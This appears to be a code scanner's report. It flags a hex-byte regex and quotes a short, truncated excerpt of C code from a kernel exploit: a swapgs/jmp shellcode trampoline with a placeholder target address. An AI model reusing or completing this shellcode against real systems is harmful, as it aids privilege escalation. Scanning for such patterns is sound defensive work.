Detected 2 occurrence(s) of ‘\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}': mode code printf(" [+] Trampoline code...\n"); char trampolinecode[] = "\x0f\x01\xf8" // swapgs; switch back to the kernel's GS.base "\x48\x89\xdc" // mov rsp, rbx; restore rsp, it's enough to use the user's stack "\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rax, 0xdeadc0decafebabe "\xff\xe0"; // jmp rax uint8_t * trampoline = (uint8_t*)(0x900000000 | (Xpage_ptr & 0xFFFFFFFF)); […]
↧